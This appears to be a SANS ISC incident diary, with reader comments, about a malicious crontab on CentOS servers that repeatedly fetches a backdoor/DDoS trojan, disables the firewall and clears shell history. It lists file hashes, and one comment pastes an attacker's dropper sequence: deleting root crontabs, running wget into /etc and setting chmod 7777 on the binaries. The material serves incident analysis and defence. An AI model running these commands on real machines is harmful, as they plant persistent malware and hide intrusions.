Threat Level: green Handler on Duty: Richard Porter


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Unfriendly crontab additions

SANS ISC reader Christopher found the following in the crontab of a customer's CentOS machine. I include it as an image here, to keep your anti-virus from panicking on this diary six months from now ...

Roughly every 90 minutes, this crontab will download and start the latest version of a backdoor / DDoS trojan off the dgnfd564sdf website. Every minute, it will also turn off the firewall if one is running (iptables stop) and try and hide its presence (history -c,  >.bash_history, etc). Current assumption is that the bad guys got in via an unknown webmin vulnerability or - most likely - via a weak password. We're still investigating the binaries:

5d10bcb15bedb4b94092c4c2e4d245b6  atdd
0d79802eeae43459ef0f6f809ef74ecc  cupsdd
9a77f1ad125cf34858be5e438b3f0247  ksapd
9a77f1ad125cf34858be5e438b3f0247  sksapd
a89c089b8d020034392536d66851b939  kysapd
a5b9270a317c9ef0beda992183717b33  skysapd

All six are >1.2mb and of type "ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped". The wget links are currently still live, investigate at your own risk.

If you have seen the same thing or additional insights, please share in the comments below!


Tags: backdoor, CentOS, linux, Webmin

362 Posts
ISC Handler
This is the same family of malware that CERT PL documents here:

Largely focuses on DNS Amplification, but there are some other unimplemented attack functions as well (HTTP flood, "Fake User", Conn Flood).

1 Posts
Not stripped?!? *DUH* !!! Does not sound very professional to me.

129 Posts
I'm going to go out on a limb and say weak password. I just saw this a couple weeks ago on a client of ours on a fresh VPS.

1 Posts
My old Linux instructor LOVES pulling stuff like this.

1 Posts
Just found a machine that was hit with this today. Looks like the initial infection took place back in October. One interesting artifact of this is the 'nice' values for the associated processes (they are high).
Chuck Finley

1 Posts
I can confirm that one of infection vector is weak passwords.

One of my honeypots was hit with this, by weak ssh root password.

echo "nameserver" >> /etc/resolv.conf
echo "nameserver" >> /etc/resolv.conf
yum -y install wget
cd /var/spool/cron; rm -rf dir root.*
cd /var/spool/cron; rm -rf dir root
cd /var/spool/cron/crontabs; rm -rf dir root.*
cd /var/spool/cron/crontabs; rm -rf dir root
cd /var/spool/cron ;wget
cd /var/spool/cron/crontabs ;wget
cd /etc;wget
cd /etc;wget
cd /etc;wget
cd /etc;wget
cd /etc;wget
cd /etc;wget
chmod 7777 /etc/atdd
chmod 7777 /etc/cupsdd
chmod 7777 /etc/ksapd
sleep 600

MD5 (atdd) = 5d10bcb15bedb4b94092c4c2e4d245b6
MD5 (ksapd) = 9a77f1ad125cf34858be5e438b3f0247
MD5 (kysapd) = a89c089b8d020034392536d66851b939
MD5 (root) = 01a1806de28c2bced1d3a517ea877702
MD5 (skysapd) = a5b9270a317c9ef0beda992183717b33

the files are identic except for

atdd 000e8300 33 2f 33 2d 32 2f 34 2d 32 36 39 2d 38 35 00 00 |3/3-2/4-269-85..|
ksapd 000e8300 32 31 32 2d 32 31 2f 30 32 2f 2f 38 37 00 00 00 |212-21/02//87...|
kysapd 000e8300 32 30 33 2d 3a 2f 2f 31 36 31 2f 36 37 00 00 00 |203-://161/67...|
skysapd 000e8300 32 30 33 2d 3a 2f 2f 31 33 2d 32 38 38 00 00 00 |203-://13-288...|

1 Posts
I have one server also face the issue. Have you find the root cause of this abnormal access. My meaning is from have you find who deploy this things to your server.

1 Posts
This malware was loaded on one of my servers yesterday.

My server had weak root password and was penetrated from some Chinese IP. :(

IMHO the best way to avoid such situations is to NOT set weak password
on root login, or deny root SSH login at all and [optionally] allow only
public key-based SSH logins.

1 Posts
It's a botnet called "BillGates"

1 Posts

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